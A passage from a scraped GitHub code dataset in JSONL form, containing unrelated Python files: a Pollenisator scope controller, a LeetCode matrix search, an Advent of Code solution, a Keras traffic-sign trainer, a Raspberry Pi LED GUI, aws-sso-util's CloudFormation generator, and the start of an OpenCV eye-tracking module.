sort indicator to start with ascendingorder\n # so the cycling of sort order is predictable otherwise,\n # the sort order can start with DescendingOrder and vice versa\n # which makes it hard to detect when it's time to set the\n # 'no sort' state\n self.header().setSortIndicator(columnIdx, Qt.AscendingOrder)\n self.setSortingEnabled(True)\n\n self.prevSortOrder = self.header().sortIndicatorOrder()\n\n\n","repo_name":"cchuahuico/linux-procexp","sub_path":"linux_procexp/ui/proctablewidget.py","file_name":"proctablewidget.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"74398910277","text":"\"\"\"Controller for Scope object. Mostly handles conversion between mongo data and python objects\"\"\"\n\nimport core.Components.Utils as Utils\nfrom core.Controllers.ControllerElement import ControllerElement\nfrom core.Models.Scope import Scope\n\n\nclass ScopeController(ControllerElement):\n \"\"\"Inherits ControllerElement\n Controller for Scope object. Mostly handles conversion between mongo data and python objects\"\"\"\n\n def doUpdate(self, values):\n \"\"\"\n Update the Scope represented by this model in database with the given values.\n\n Args:\n values: A dictionary crafted by ScopeView containg all form fields values needed.\n\n Returns:\n The mongo ObjectId _id of the updated Scope document.\n \"\"\"\n self.model.notes = values.get(\"Notes\", self.model.notes)\n self.model.tags = values.get(\"Tags\", self.model.tags)\n self.model.update()\n\n def doInsert(self, values):\n \"\"\"\n Insert the Scope represented by this model in the database with the given values.\n\n Args:\n values: A dictionary crafted by MultipleScopeView or ScopeView containg all form fields values needed.\n\n Returns:\n {\n '_id': The mongo ObjectId _id of the inserted command document.\n 'nbErrors': The number of objects that has not been inserted in database due to errors.\n }\n \"\"\"\n # Only multi insert exists at the moment for Scope\n # Get form values\n wave = values[\"wave\"]\n ret = []\n total = 0\n accepted = 0\n insert_setting = values[\"Settings\"]\n split_range_setting = values.get(\"Split\", False)\n for line in values[\"Scopes\"].split(\"\\n\"):\n if line.strip() != \"\":\n # Insert in database\n scopeToAdd = line.strip()\n if Utils.isIp(scopeToAdd):\n scopeToAdd += \"/32\"\n if Utils.isNetworkIp(scopeToAdd):\n if split_range_setting:\n network_ips = Utils.splitRange(scopeToAdd)\n if len(network_ips) == 0:\n model = Scope().initialize(wave, scopeToAdd, \"\")\n inserted_res, iid = model.addInDb()\n else:\n for network_ip in network_ips:\n model = Scope().initialize(wave, str(network_ip), \"\")\n inserted_res, iid = model.addInDb()\n if inserted_res:\n accepted += 1\n ret.append(iid)\n total += 1\n else:\n model = Scope().initialize(wave, scopeToAdd, \"\")\n inserted_res, iid = model.addInDb()\n else:\n model = Scope().initialize(wave, scopeToAdd, \"\")\n inserted_res, iid = model.addDomainInDb(insert_setting)\n if inserted_res == 1:\n accepted += 1\n ret.append(iid)\n total += 1\n return ret, total-accepted # nb errors = total - accepted\n\n def getData(self):\n \"\"\"Return scope attributes as a dictionnary matching Mongo stored scopes\n Returns:\n dict with keys wave, scope, notes, _id, tags and infos\n \"\"\"\n return {\"wave\": self.model.wave, \"scope\": self.model.scope, \"notes\": self.model.notes, \"_id\": self.model.getId(), \"tags\": self.model.tags, \"infos\": self.model.infos}\n\n def getTools(self):\n \"\"\"Return scope assigned tools as a list of mongo fetched tools dict\n Returns:\n list of defect raw mongo data dictionnaries\n \"\"\"\n return self.model.getTools()\n\n def getType(self):\n \"\"\"Returns a string describing the type of object\n Returns:\n \"scope\" \"\"\"\n return \"scope\"","repo_name":"AlgoSecure/Pollenisator","sub_path":"core/Controllers/ScopeController.py","file_name":"ScopeController.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"62"} +{"seq_id":"25446651122","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2020/11/30 10:08\r\n# @Author : tmb\r\nfrom typing import List\r\n\r\n\r\nclass Solution:\r\n '''\r\n my:O(nlogn),太慢\r\n '''\r\n\r\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\r\n if not matrix:\r\n return False\r\n for i in matrix:\r\n flag = self.search_line(i, target)\r\n if flag:\r\n return True\r\n return False\r\n\r\n def search_line(self, nums, target):\r\n left, right = 0, len(nums) - 1\r\n while left <= right:\r\n mid = (left + right) // 2\r\n if nums[mid] == target:\r\n return True\r\n if nums[mid] > target:\r\n right = mid - 1\r\n elif nums[mid] < target:\r\n left = mid + 1\r\n return False\r\n\r\n def searchMatrix2(self, matrix: List[List[int]], target: int) -> bool:\r\n '''\r\n 解法二 O(m+n)\r\n :param matrix:\r\n :param target:\r\n :return:\r\n '''\r\n if not matrix:\r\n return False\r\n x, y = 0, len(matrix[0]) - 1\r\n while x <= len(matrix) - 1 and y >= 0:\r\n if matrix[x][y] == target:\r\n return True\r\n elif target > matrix[x][y]:\r\n x += 1\r\n else:\r\n y -= 1\r\n return False\r\n\r\n\r\nif __name__ == '__main__':\r\n a = Solution()\r\n print(a.searchMatrix2(\r\n matrix=[[1, 4, 7, 11, 15],\r\n [2, 5, 8, 12, 19],\r\n [3, 6, 9, 16, 22],\r\n [10, 13, 14, 17, 24],\r\n [18, 21, 23, 26, 30]],\r\n target=18))\r\n","repo_name":"tianmingbo/GOOD-GOOD-STUDY","sub_path":"LeetCode/二分查找/240. 搜索二维矩阵 II.py","file_name":"240. 搜索二维矩阵 II.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"27076898716","text":"import numpy as np\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport cv2\nimport tensorflow as tf\nfrom PIL import Image\nimport os\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.utils import to_categorical\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout\n\n\ndef pre_process(degree):\n os.chdir('D:/new371H/newECE371git/ECE371H')\n data = []\n labels = []\n # We have 43 Classes\n classes = 43\n cur_path = os.getcwd()\n\n for i in range(classes):\n if degree == 90:\n path = os.path.join(cur_path,'Train',str(i))\n else:\n path = os.path.join(cur_path,'newTrain',str(i))\n\n images = os.listdir(path)\n for a in images:\n try:\n image = Image.open(path + '\\\\'+ a)\n image = image.resize((30,30))\n image = np.array(image)\n data.append(image)\n labels.append(i)\n except Exception as e:\n print(e)\n\n data = np.array(data)\n labels = np.array(labels)\n if os.path.isdir('training'):\n pass\n else:\n os.mkdir('training')\n\n np.save('./training/data',data)\n np.save('./training/target',labels)\n return\n\n\ndef build_model(epochs, degree =90, plot = 0):\n pre_process(degree)\n data=np.load('./training/data.npy')\n labels=np.load('./training/target.npy')\n\n print(data.shape, labels.shape)\n\n X_train, X_test, y_train, y_test = train_test_split(data, labels, test_size=0.2, random_state=0)\n\n print(X_train.shape, X_test.shape, y_train.shape, y_test.shape)\n\n\n y_train = to_categorical(y_train, 43)\n y_test = to_categorical(y_test, 43)\n\n # building model\n if degree == 90:\n model = Sequential()\n model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu', input_shape=X_train.shape[1:]))\n model.add(Conv2D(filters=32, kernel_size=(5,5), activation='relu'))\n model.add(MaxPool2D(pool_size=(2, 2)))\n model.add(Dropout(rate=0.25))\n model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\n model.add(Conv2D(filters=64, kernel_size=(3, 3), activation='relu'))\n model.add(MaxPool2D(pool_size=(2, 2)))\n model.add(Dropout(rate=0.25))\n model.add(Flatten())\n model.add(Dense(256, activation='relu'))\n model.add(Dropout(rate=0.5))\n # We have 43 classes that's why we have defined 43 in the dense\n model.add(Dense(43, activation='softmax'))\n else:\n model = load_model(\"./training/TSR_\" + str(epochs) + \".h5\")\n\n #Compilation of the model\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n history = model.fit(X_train, y_train, batch_size=32, epochs=epochs, validation_data=(X_test, y_test))\n if degree != 90:\n degree = \"_\" + str(degree)\n model.save(\"./training/TSR_\" + str(epochs) + degree + \".h5\")\n else:\n model.save(\"./training/TSR_\" + str(epochs) + \".h5\")\n\n if plot:\n plot_accuracy(history, epochs, degree)\n plot_loss(history, epochs, degree)\n\n return\n\n\ndef plot_accuracy(history, epochs, degree):\n #accuracy\n plt.figure(0)\n plt.plot(history.history['accuracy'], label='training accuracy')\n plt.plot(history.history['val_accuracy'], label='val accuracy')\n plt.title('Accuracy')\n plt.xlabel('epochs')\n plt.ylabel('accuracy')\n plt.legend()\n plt.savefig(\"Accuracy_\" + str(epochs) + \"_\" + str(degree) + \".png\")\n plt.clf()\n return\n\n\ndef plot_loss(history, epochs, degree):\n plt.plot(history.history['loss'], label='training loss')\n plt.plot(history.history['val_loss'], label='val loss')\n plt.title('Loss')\n plt.xlabel('epochs')\n plt.ylabel('loss')\n plt.legend()\n plt.savefig(\"Loss_\" + str(epochs) + \"_\" + str(degree) + \".png\")\n plt.clf()\n return\n\n\nplot = 0\nepoch_test = [75,100]\n\nfor epoch in epoch_test:\n build_model(epoch, 45, 1)","repo_name":"msheps03/ECE371H","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"44492141636","text":"''' FOR LOOP\n\n for VAR in list:\n body\n for VAR1,VAR2 in dict.items():\n body\n iteration increments\n for i in range(x,y):\n body\n iteration decrements \n for i in range(x,y,-1):\n body\n\n'''\n# list1 = [ [\"Harry\", 1], [\"Larry\", 2],\n# [\"Carry\", 6], [\"Marie\", 250]]\n# dict1 = dict(list1)\n#\n# for item in dict1:\n# print(item)\n# for item, lollypop in dict1.items():\n# print(item, \"and lolly is \", lollypop)\nitems = [int, float, \"HaERRY\", 5,3, 3, 22, 21, 64, 23, 233, 23, 6]\n\nfor item in items:\n if str(item).isnumeric() and item>=6:\n print(item)\n\ndict1= {\"Best Python Course\": \"CodeWithHarry\",\n \"Best C Languge Course\": \"CodeWithHarry\",\n \"Harry Sir\":\"Tom Cruise Of Programming\"\n }\n\nfor x,y in dict1.items():\n print(x, y)","repo_name":"raghav-decoded/LearnPython","sub_path":"17_for.py","file_name":"17_for.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36242820765","text":"import argparse\nfrom collections import namedtuple, OrderedDict\nfrom pathlib import Path\nimport logging\nimport sys\nimport os\n\nimport boto3\nimport aws_error_utils\n\nimport click\n\nfrom aws_sso_lib import lookup\nfrom aws_sso_lib import format as _format\nfrom aws_sso_lib.assignments import Assignment\n\nfrom .cfn_lib.config import Config, ConfigError, validate_config, GenerationConfig\nfrom .cfn_lib import resources, templates, macro\nfrom .cfn_lib import utils as cfn_utils\n\nfrom .utils import configure_logging\n\nInput = namedtuple(\"Input\", [\"base_path\", \"stem\", \"assignments\", \"permission_sets\", \"base_template\"])\n\nTemplateProcessInput = namedtuple(\"TemplateProcessInput\", [\n \"base_path\",\n \"base_stem\",\n \"base_template\",\n \"generation_config\",\n \"max_stack_resources\",\n \"items\"\n])\nTemplateProcessInputItem = namedtuple(\"TemplateProcessInput\", [\n \"stem\",\n \"resource_collection\",\n])\n\nLOGGER = logging.getLogger(__name__)\n\ndef param_loader(ctx, param, value):\n if not value:\n return {}\n d = []\n for p in value.split(\",\"):\n if \"=\" in p:\n d.append((p.split(\"=\", 1)))\n else:\n d.append((p, None))\n return dict(d)\n\n@click.command(\"cfn\")\n@click.argument(\"config_file\", required=True, nargs=-1, type=click.File(\"r\"))\n\n@click.option(\"--macro\", is_flag=True, help=\"Process templates with macro\")\n\n@click.option(\"--profile\", metavar=\"NAME\", help=\"AWS profile to use to retrieve Identity Center instance and/or accounts from OUs\")\n@click.option(\"--sso-instance\", \"--ins\", metavar=\"ARN\", help=\"If not provided, will be retrieved from your account\")\n\n@click.option(\"--template-file-suffix\", metavar=\"SUFFIX\", help=\"Output template suffix\")\n@click.option(\"--output-dir\", metavar=\"DIR\", help=\"Directory for templates\")\n\n@click.option(\"--base-template-file\", type=click.File(\"r\"), help=\"Base template to build from\")\n@click.option(\"--template-parameters\", callback=param_loader, metavar=\"PARAMS\", help=\"String-type parameters on the template\")\n\n@click.option(\"--lookup-names/--no-lookup-names\", default=False, help=\"Look up names for principals, permission sets, and accounts\")\n\n@click.option(\"--num-child-stacks\", type=int, metavar=\"NUM\", help=\"Fix the number of child stacks (0 or positive integer)\")\n@click.option(\"--max-assignments-allocation\", type=int, metavar=\"NUM\", help=\"Fix a nonzero number of child stacks based on expected max number of assignments\")\n@click.option(\"--default-session-duration\", metavar=\"DUR\", help=\"ISO8601 duration for PermissionSets without session duration set\")\n\n@click.option(\"--max-resources-per-template\", type=int, metavar=\"NUM\")\n@click.option(\"--max-concurrent-assignments\", type=int, metavar=\"NUM\")\n\n@click.option(\"--assignments-csv\", type=click.File(\"w\"), help=\"Output file name to store CSV of generated assignments\")\n@click.option(\"--assignments-csv-only\", is_flag=True, help=\"With --assignments-csv, skip template generation\")\n\n@click.option(\"--verbose\", \"-v\", count=True)\ndef generate_template(\n config_file,\n macro,\n profile,\n sso_instance,\n template_file_suffix,\n output_dir,\n base_template_file,\n template_parameters,\n lookup_names,\n num_child_stacks,\n max_assignments_allocation,\n default_session_duration,\n max_resources_per_template,\n max_concurrent_assignments,\n assignments_csv,\n assignments_csv_only,\n verbose):\n \"\"\"Generate CloudFormation templates with Identity Center assignments.\"\"\"\n\n configure_logging(LOGGER, verbose)\n\n if macro and base_template_file:\n raise click.UsageError(\"--base-template-file not allowed with --macro\")\n if macro and template_parameters:\n raise click.UsageError(\"--template-parameters not allowed with --macro\")\n\n if assignments_csv_only and not assignments_csv:\n raise click.UsageError(\"Missing --assignments-csv\")\n\n session = boto3.Session(profile_name=profile)\n\n ids = lookup.Ids(session, sso_instance, identity_store_id=None)\n\n cache = {}\n\n if lookup_names:\n principal_name_fetcher = cfn_utils.get_principal_name_fetcher(session, ids, cache)\n permission_set_name_fetcher = cfn_utils.get_permission_set_name_fetcher(session, ids, cache)\n target_name_fetcher = cfn_utils.get_target_name_fetcher(session, ids, cache)\n else:\n principal_name_fetcher = None\n permission_set_name_fetcher = None\n target_name_fetcher = None\n\n generation_config = GenerationConfig(\n ids,\n principal_name_fetcher=principal_name_fetcher,\n permission_set_name_fetcher=permission_set_name_fetcher,\n target_name_fetcher=target_name_fetcher\n )\n\n generation_config.set(\n max_resources_per_template=max_resources_per_template,\n max_concurrent_assignments=max_concurrent_assignments,\n max_assignments_allocation=max_assignments_allocation,\n num_child_stacks=num_child_stacks,\n default_session_duration=default_session_duration,\n )\n\n if not template_file_suffix:\n template_file_suffix = \".yaml\"\n elif not template_file_suffix.endswith(\".yaml\"):\n template_file_suffix = template_file_suffix + \".yaml\"\n\n if base_template_file:\n base_template = cfn_utils.load_yaml(base_template_file)\n base_template_path = Path(base_template_file.name).resolve()\n prev_len = len(config_file)\n config_file = [c for c in config_file if Path(c.name).resolve() != base_template_path]\n if len(config_file) != prev_len:\n LOGGER.debug(\"Removed base template file from list of config files\")\n else:\n base_template = None\n\n if macro:\n template_process_inputs = process_macro(\n config_file=config_file,\n session=session,\n ids=ids,\n template_file_suffix=template_file_suffix,\n output_dir=output_dir,\n base_generation_config=generation_config,\n )\n else:\n template_process_inputs = process_config(\n config_file=config_file,\n session=session,\n ids=ids,\n template_file_suffix=template_file_suffix,\n output_dir=output_dir,\n base_template=base_template,\n base_generation_config=generation_config,\n )\n\n if not assignments_csv_only:\n templates_to_write = process_templates(\n template_process_inputs=template_process_inputs,\n template_file_suffix=template_file_suffix,\n )\n write_templates(templates_to_write)\n\n if assignments_csv:\n write_csv(template_process_inputs, assignments_csv, generation_config)\n\ndef process_config(\n config_file,\n session,\n ids,\n template_file_suffix,\n output_dir,\n base_template,\n base_generation_config):\n template_process_inputs = {}\n\n for config_file_fp in config_file:\n LOGGER.info(f\"Loading config file {config_file_fp.name}\")\n config_file_path = Path(config_file_fp.name)\n if output_dir:\n base_path = Path(output_dir)\n else:\n base_path = config_file_path.parent / \"templates\"\n stem = config_file_path.stem\n\n data = cfn_utils.load_yaml(config_file_fp)\n LOGGER.debug(f\"Config file contents:\\n{cfn_utils.dump_yaml(data)}\")\n\n config = Config()\n config.load(data)\n\n generation_config = base_generation_config.copy()\n generation_config.load(data)\n\n LOGGER.debug(f\"generation_config: {generation_config!s}\")\n\n try:\n validate_config(config, ids)\n except ConfigError as e:\n LOGGER.fatal(f\"{e!s} in {config_file_path}\")\n sys.exit(1)\n\n cache = {}\n ou_fetcher = lambda ou, recursive: lookup.lookup_accounts_for_ou(session, ou,\n recursive=recursive,\n cache=cache,\n exclude_org_mgmt_acct=True,\n exclude_inactive_accts=True)\n\n resource_collection = resources.get_resources_from_config(\n config,\n ou_fetcher=ou_fetcher)\n\n LOGGER.info(f\"Generated {len(resource_collection.assignments)} assignments\")\n\n max_stack_resources = generation_config.get_max_number_of_child_stacks(resource_collection.num_resources)\n\n template_process_inputs[config_file_path] = TemplateProcessInput(\n base_path=base_path,\n base_stem=stem,\n base_template=base_template,\n generation_config=generation_config,\n max_stack_resources=max_stack_resources,\n items=[TemplateProcessInputItem(\n stem=stem,\n resource_collection=resource_collection\n )]\n )\n return template_process_inputs\n\ndef process_macro(\n config_file,\n session,\n ids,\n template_file_suffix,\n output_dir,\n base_generation_config):\n\n template_process_inputs = {}\n\n for config_file_fp in config_file:\n LOGGER.info(f\"Loading template file {config_file_fp.name}\")\n config_file_path = Path(config_file_fp.name)\n if output_dir:\n base_path = Path(output_dir)\n else:\n base_path = config_file_path.parent / \"templates\"\n stem = config_file_path.stem\n\n input_template = cfn_utils.load_yaml(config_file_fp)\n LOGGER.debug(f\"Input template:\\n{cfn_utils.dump_yaml(input_template)}\")\n\n generation_config = base_generation_config.copy()\n\n LOGGER.info(\"Extracting resources from template\")\n base_template, max_stack_resources, resource_collection_dict = macro.process_template(input_template,\n session=session,\n ids=ids,\n generation_config=generation_config,\n generation_config_template_priority=False)\n\n num_assignments = sum(len(rc.assignments) for rc in resource_collection_dict.values())\n LOGGER.info(f\"Generated {num_assignments} assignments\")\n\n template_process_inputs[config_file_path] = TemplateProcessInput(\n base_path=base_path,\n base_stem=stem,\n base_template=base_template,\n generation_config=generation_config,\n max_stack_resources=max_stack_resources,\n items=[TemplateProcessInputItem(\n stem=resource_name,\n resource_collection=resource_collection\n ) for resource_name, resource_collection in resource_collection_dict.items()]\n )\n\n return template_process_inputs\n\ndef process_templates(\n template_process_inputs,\n template_file_suffix):\n templates_to_write = {}\n\n for name, template_process_input in template_process_inputs.items():\n LOGGER.info(f\"Generating templates for {name}\")\n parent_template_to_write = template_process_input.base_template or {}\n all_children = []\n\n if not template_process_input.items:\n for resource in parent_template_to_write[\"Resources\"].values():\n if resource[\"Type\"] != \"AWS::SSO::PermissionSet\":\n continue\n templates.process_permission_set_resource(resource, template_process_input.generation_config)\n else:\n for template_process_input_item in template_process_input.items:\n num_parent_resources = len(parent_template_to_write.get(\"Resources\", {})) + template_process_input.max_stack_resources\n\n parent_template = templates.resolve_templates(\n template_process_input_item.resource_collection.assignments,\n template_process_input_item.resource_collection.permission_sets,\n generation_config=template_process_input.generation_config,\n num_parent_resources=num_parent_resources,\n )\n\n template_collection = parent_template.get_templates(\n template_process_input.base_path,\n \".\",\n template_process_input_item.stem,\n template_file_suffix,\n base_template=parent_template_to_write,\n parameters=None,\n generation_config=template_process_input.generation_config,\n path_joiner=os.path.join\n\n )\n parent_template_to_write = template_collection.parent.template\n LOGGER.debug(f\"Intermediate parent template\\n{cfn_utils.dump_yaml(parent_template_to_write)}\")\n\n all_children.extend(template_collection.children)\n\n templates_to_write[name] = templates.TemplateCollection(\n parent=templates.WritableTemplate(\n path=os.path.join(\n template_process_input.base_path,\n f\"{template_process_input.base_stem}{template_file_suffix}\"),\n template=parent_template_to_write,\n ),\n children=all_children\n )\n return templates_to_write\n\ndef write_templates(templates_to_write):\n for name, template_collection_to_write in templates_to_write.items():\n parent_path = template_collection_to_write.parent.path\n parent_data = template_collection_to_write.parent.template\n\n for child_path, child_data in template_collection_to_write.children:\n LOGGER.info(f\"Writing child template at path {child_path}\")\n Path(child_path).parent.mkdir(parents=True, exist_ok=True)\n with open(child_path, \"w\") as fp:\n cfn_utils.dump_yaml(child_data, fp)\n\n LOGGER.info(f\"Writing template for {name} at path {parent_path}\")\n Path(parent_path).parent.mkdir(parents=True, exist_ok=True)\n with open(parent_path, \"w\") as fp:\n cfn_utils.dump_yaml(parent_data, fp)\n\n\ndef write_csv(template_process_inputs, assignments_csv, generation_config):\n LOGGER.info(f\"Writing assignments CSV to {assignments_csv.name}\")\n header_fields = Assignment._fields + (\"source_ou\", )\n assignments_csv.write(\",\".join(header_fields) + \"\\n\")\n for template_process_input in template_process_inputs.values():\n for template_process_input_item in template_process_input.items:\n for assignment in template_process_input_item.resource_collection.assignments:\n source_ou = assignment.target.source_ou or \"\"\n assignment_tuple = assignment.get_assignment(\n principal_name_fetcher=generation_config.principal_name_fetcher,\n permission_set_name_fetcher=generation_config.permission_set_name_fetcher,\n target_name_fetcher=generation_config.target_name_fetcher\n )\n assignments_csv.write(\",\".join(v or \"\" for v in (assignment_tuple + (source_ou,)) ) + \"\\n\")\n\n\nif __name__ == \"__main__\":\n generate_template(prog_name=\"python -m aws_sso_util.cfn\") #pylint: disable=unexpected-keyword-arg,no-value-for-parameter\n","repo_name":"benkehoe/aws-sso-util","sub_path":"cli/src/aws_sso_util/cfn.py","file_name":"cfn.py","file_ext":"py","file_size_in_byte":14933,"program_lang":"python","lang":"en","doc_type":"code","stars":851,"dataset":"github-code","pt":"62"} +{"seq_id":"69855051077","text":"from tkinter import *\nimport tkinter.font\nfrom gpiozero import LED\nimport RPi.GPIO as GPIO\n\n# Initializing GPIO\nGPIO.setmode(GPIO.BCM)\n\n# HARDWARE #\nled_red = LED(13)\nled_green = LED(23)\nled_blue = LED(26)\n\n# GUI DEFINITION is here #\nwin = Tk()\nwin.title(\"LED Controller\")\nmyFont = tkinter.font.Font(family=\"Arial\", size=23, weight=\"normal\")\n\n# EVENT FUNCTIONS #\n\n# The ability to change the button wording and the LED's state\n\ndef ledToggle(led, button):\n if led.is_lit:\n led.off()\n button[\"text\"] = f\"Turn {button['text'].split()[1]} On\"\n else:\n led.on()\n button[\"text\"] = f\"Turn {button['text'].split()[1]} Off\"\n\n# Close the application after clearing the GPIO.\n\ndef exitFunction():\n GPIO.cleanup()\n win.destroy()\n\n# WIDGETS #\n# Control button for the Red LED\n\nbutton_Red = Button(win, text=\"Turn Red Off\", font=myFont, command=lambda: ledToggle(led_red, button_Red), bg='red', height=6, width=21)\nbutton_Red.grid(row=0, column=0)\n\n# Control button for the Green LED\n\nbutton_Green = Button(win, text=\"Turn Green Off\", font=myFont, command=lambda: ledToggle(led_green, button_Green), bg='green', height=6, width=21)\nbutton_Green.grid(row=0, column=1)\n\n# Control button for the Blue LED\n\nbutton_Blue = Button(win, text=\"Turn Blue Off\", font=myFont, command=lambda: ledToggle(led_blue, button_Blue), bg='blue', height=6, width=21)\nbutton_Blue.grid(row=0, column=2)\n\n# Exit the application button\n\nexitButton = Button(win, text=\"Exit\", font=myFont, command=exitFunction, bg=\"blue\", height=4, width=23)\nexitButton.grid(row=1, column=1)\n# Launch the main GUI loop.\nwin.mainloop()\n","repo_name":"tanya12b/GUI","sub_path":"CODE.py","file_name":"CODE.py","file_ext":"py","file_size_in_byte":1617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"481145700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 26 21:24:38 2021\n\n@author: GRoces\n\"\"\"\n\narchivo_in = open('peliculas.csv',encoding=('utf-8'))\n#archivo_out = open('subtes_salida.csv','w', encoding=('utf-8'))\n\nfor linea in archivo_in:\n linea = linea.strip('\\n')\n lista = linea.split(',')\n print (lista)\n #archivo_out.write(lista[1] + ',' + lista[0] + ',' + lista[2] + '\\n')\n \narchivo_in.close() \n#archivo_out.close()","repo_name":"ggroces/curso_pythonDataDeveloper_misEjercicios","sub_path":"Clase_1/abrir_reordenar_guardar_peliculas_csv.py","file_name":"abrir_reordenar_guardar_peliculas_csv.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"8505195280","text":"\"\"\"Solution for AoC 2016 Day 15: Timing is Everything\"\"\"\nimport re\n\n\ndef find_capsule_time(discs: list) -> int:\n \"\"\"Figure out what time to start the machine.\n\n discs list should contain tuples: (positions, starting position)\n\n Order matters, it should be the order of discs in the machine.\n \"\"\"\n # reaches the first disc at t=1.\n time = 0\n loop = True\n drop_check = []\n while loop:\n time += 1\n for time_delta, disc in enumerate(discs, start=1):\n if (disc[1] + time + time_delta) % disc[0] == 0:\n drop_check.append(True)\n else:\n drop_check.append(False)\n if all(drop_check):\n loop = False\n drop_check.clear()\n return time\n\n\ndef extract_data(puzzle_input: list) -> list:\n \"\"\"Take in a list where each item looks like:\n\n Disc #1 has 5 positions: at time=0, it is at position 4.\n\n and returns a list with items like (based on above):\n\n (5, 4)\n \"\"\"\n regex = re.compile(r'(\\d+) positions; at time=0, it is at position (\\d+)')\n output_list = []\n for sentence in puzzle_input:\n numbers = re.findall(regex, sentence)\n # print(f\"{numbers=}\")\n output_list.append((int(numbers[0][0]), int(numbers[0][1])))\n return output_list\n\n\ndef input_per_line(file: str):\n \"\"\"This is for when each line is an input to the puzzle. The newline character is stripped.\"\"\"\n with open(file, 'r') as input_file:\n return [line.rstrip() for line in input_file.readlines()]\n\n\nif __name__ == \"__main__\":\n our_input = input_per_line('../input.txt')\n # print(f\"{our_input=}\")\n our_extracted_data = extract_data(our_input)\n # print(f\"{our_extracted_data=}\")\n start_time = find_capsule_time(our_extracted_data)\n print(f\"To get the capsule to the bottom, we should push start at {start_time}\")\n our_extracted_data.append((11, 0))\n new_start_time = find_capsule_time(our_extracted_data)\n print(f\"In the new configuration: to get the capsule to the bottom, we should push start at {new_start_time}\")\n","repo_name":"djotaku/adventofcode","sub_path":"2016/Day_15/Python/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"62"} +{"seq_id":"20917492681","text":"import cv2\nimport numpy as np\n\nfrom face_detector import get_face_detector, find_faces\nfrom face_landmarks import get_landmark_model, detect_marks\n\nimport logging\n\nlogger = logging.getLogger(\"gunicorn.error\")\n\ndef eye_on_mask(mask, side, shape):\n \"\"\"\n Create ROI on mask of the size of eyes and also find the extreme points of each eye\n\n Parameters\n ----------\n mask : np.uint8\n Blank mask to draw eyes on\n side : list of int\n the facial landmark numbers of eyes\n shape : Array of uint32\n Facial landmarks\n\n Returns\n -------\n mask : np.uint8\n Mask with region of interest drawn\n [l, t, r, b] : list\n left, top, right, and bottommost points of ROI\n\n \"\"\"\n points = [shape[i] for i in side]\n points = np.array(points, dtype=np.int32)\n mask = cv2.fillConvexPoly(mask, points, 255)\n l = points[0][0]\n t = (points[1][1] + points[2][1]) // 2\n r = points[3][0]\n b = (points[4][1] + points[5][1]) // 2\n return mask, [l, t, r, b]\n\n\ndef find_eyeball_position(end_points, cx, cy, right_data_list, left_data_list):\n \"\"\"Find and return the eyeball positions, i.e. left or right or top or normal\"\"\"\n x_ratio = (end_points[0] - cx) / (cx - end_points[2])\n y_ratio = (cy - end_points[1]) / (end_points[3] - cy)\n if x_ratio > 3:\n left_data_list.append(x_ratio)\n return 1\n elif x_ratio < 0.33:\n right_data_list.append(x_ratio)\n return 2\n elif y_ratio < 0.33:\n return 3\n else:\n return 0\n\n\ndef count_wrong_meassurements(list_with_data, right=False):\n wrong_points = 0\n if right:\n for i in range(len(list_with_data) - 1):\n if list_with_data[i] < list_with_data[i + 1]:\n wrong_points += 1\n else:\n for i in range(len(list_with_data) - 1):\n if list_with_data[i] > list_with_data[i + 1]:\n wrong_points += 1\n return wrong_points\n\n\ndef contouring(thresh, mid, img, end_points, right, right_data_list, left_data_list):\n \"\"\"\n Find the largest contour on an image divided by a midpoint and subsequently the eye position\n\n Parameters\n ----------\n thresh : Array of uint8\n Thresholded image of one side containing the eyeball\n mid : int\n The mid point between the eyes\n img : Array of uint8\n Original Image\n end_points : list\n List containing the exteme points of eye\n right : boolean, optional\n Whether calculating for right eye or left eye. The default is False.\n right_data_list: list\n left_data_list: list\n\n Returns\n -------\n pos: int\n the position where eyeball is:\n 0 for normal\n 1 for left\n 2 for right\n\n \"\"\"\n cnts, _ = cv2.findContours(thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n try:\n cnt = max(cnts, key=cv2.contourArea)\n m = cv2.moments(cnt)\n cx = int(m['m10'] / m['m00'])\n cy = int(m['m01'] / m['m00'])\n if right:\n cx += mid\n pos = find_eyeball_position(end_points, cx, cy, right_data_list, left_data_list)\n return pos\n except Exception:\n pass\n\n\ndef process_thresh(thresh):\n \"\"\"\n Preprocessing the thresholded image\n\n Parameters\n ----------\n thresh : Array of uint8\n Thresholded image to preprocess\n\n Returns\n -------\n thresh : Array of uint8\n Processed thresholded image\n\n \"\"\"\n thresh = cv2.erode(thresh, None, iterations=2)\n thresh = cv2.dilate(thresh, None, iterations=4)\n thresh = cv2.medianBlur(thresh, 3)\n thresh = cv2.bitwise_not(thresh)\n return thresh\n\n\ndef print_eye_pos(img, left, right):\n \"\"\"\n Print the side where eye is looking and display on image\n\n Parameters\n ----------\n img : Array of uint8\n Image to display on\n left : int\n Position obtained of left eye.\n right : int\n Position obtained of right eye.\n\n 